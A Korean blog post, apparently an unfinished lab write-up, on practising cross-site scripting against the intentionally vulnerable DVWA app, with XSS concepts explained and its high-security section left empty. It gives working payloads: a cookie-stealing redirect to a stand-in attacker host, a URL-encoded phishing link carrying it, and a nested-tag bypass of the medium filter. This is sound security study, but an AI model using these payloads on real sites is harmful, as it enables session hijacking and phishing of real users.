Kali Linux - DVWA실습 (XSS, Cross-Site Scripting) ing..

Kim Dae Hyun·2021년 6월 3일
0

Security

목록 보기
7/7

XSS ?

  • XSS는 관리자가 아닌 이가 웹 페이지에 스크립트 코드를 삽입할 수 있는 취약점을 공격하는 기법이다.
  • 비슷한 웹 해킹 기술로 CSRF가 있는데, CSRF와 가장 큰 차이점은 공격 대상이 다르다는 것이다.
    • CSRF는 웹 서버를 공격한다. 희생자는 자신의 의도와 관계없이 해커가 의도한 대로 서버에 공격을 가하는 것이다.
    • XSS는 희생자의 웹 브라우저를 공격한다. 사용자의 웹 브라우저에서 스크립트 코드가 실행되어 세션쿠키 등을 탈취하는 공격이 대표적이다.
  • XSS는 대표적으로 Reflected XSS, Stored XSS로 구분된다.

Reflected XSS

  • Reflect, 즉 반사되는 XSS공격을 의미한다.
  • 사용자의 웹 브라우저에서 세션쿠키를 탈취하는 Reflected XSS
    1. 이메일 등으로 악성 스크립트를 사용자가 실행할 수 있도록 피싱
    2. 피싱에 성공하면 사용자는 웹 서버로 악성 스크립트가 포함된 요청을 전달
    3. 웹 서버는 받은 요청에 대해 응답(반사)
    4. 응답받은 사용자의 웹 브라우저에서 세션쿠키를 탈취하는 스크립트 코드가 실행
    5. 해커는 사용자의 세션쿠키를 탈취하게 되어 사용자의 권한으로 웹 서버에 접속

Stored XSS

  • 악성 스크립트 코드를 웹 페이지의 게시판, 방명록 등에 저장하여 해당 글을 클릭한 사용자의 웹 브라우저에서 스크립트 코드를 실행시키는 공격 기법이다.

DVWA를 이용한 XSS 공격 (ReflectedXSS - Low Level Security)

  • 사용자에게 이름을 입력받아 그대로 출력하는 웹 페이지이다.
  • Reflected XSS의 취약점이 존재하는지 확인하기 위해 script코드를 요청해본다.
    • <script>alert('hi')</script>를 입력한 결과이다.
    • 요청한 script가 그대로 반사되어 실행되는 것을 확인할 수 있다.
  • Reflected XSS의 취약점이 존재하는 것을 알았으니 사용자의 웹 브라우저에서 세션 쿠키를 탈취하는 공격을 시도해보자.
    • <script>alert(document.cookie)</script>를 입력한 결과이다. 세션 쿠키가 반환된 것을 확인할 수 있다.
  • 이번에는 XSS를 수행하였을 때 해당 결과가 로그로 찍히도록 해보자.
    • tail -f 명령어를 이용하여 이후 찍히는 로그들이 뒤에 붙을 수 있도록 해준다.
    • 나의 로컬 시스템을 해커의 시스템이라 가정하고 나의 로컬 시스템으로 쿠키값 갖고 redirect하는 스크립트 코드를 입력한다.
      <script>document.location='http://127.0.0.1/cookie?+document.cookie</script>
    • 쿠키 값이 로그로 찍히는 것을 확인할 수 있다.
  • 공격이 가능한 것은 확인하였지만 사용자가 <script>document.location='http://127.0.0.1/cookie?+document.cookie</script>이와 같은 스크립트 코드를 직접 입력할 일은 절대 없다. 사용자의 의도와 관계없이 해당 스크립트가 실행되도록 피싱을 수행해보자.
  • 이메일을 통한 피싱
    • 피싱 메일은 name을 key로 하는 query parameter에 XSS를 삽입하는 방식으로 구성한다.
      • http://localhost/dvwa/vulnerabilities/xss_r?name=<script>document.location='http://127.0.0.1/cookie?+document.cookie</script>
    • 하지만 gmail의 경우 링크 삽입시 특정 특수문자에 대해 인코딩을 수행해줘야 한다. 인코딩까지 수행한 피싱 링크를 구성하자. (=, ", +)
      • http://localhost/dvwa/vulnerabilities/xss_r?name=<script>document.location%3D'http://127.0.0.1/cookie%3F'%2Bdocument.cookie</script>
    • 테스트를 위해 피싱 메일을 자기 자신에게 보낸다.
    • 링크 클릭
    • 로그 확인
  • 이메일 피싱을 통해 Reflected XSS공격에 성공하였다 :)

DVWA를 이용한 XSS 공격 (ReflectedXSS - Medium Level Security)

  • Medium 단계 소스코드
    • <scipt>를 공백으로 치환하여 스크립트 코드가 삽입되는 것을 막고 있다.
  • Medium 단계 우회
    • <scr<script>ipt>alert(1)</script>
    • 위 스크립트를 입력하게 되면 < script > 부분이 공백으로 치환되어 <script>alert(1)</script> 가 수행된다.
  • 특정 문자를 한 번만 치환하는 것은 의미없는 대응방법이다..

DVWA를 이용한 XSS 공격 (ReflectedXSS - High Level Security)

profile
좀 더 천천히 까먹기 위해 기록합니다. 🧐

0개의 댓글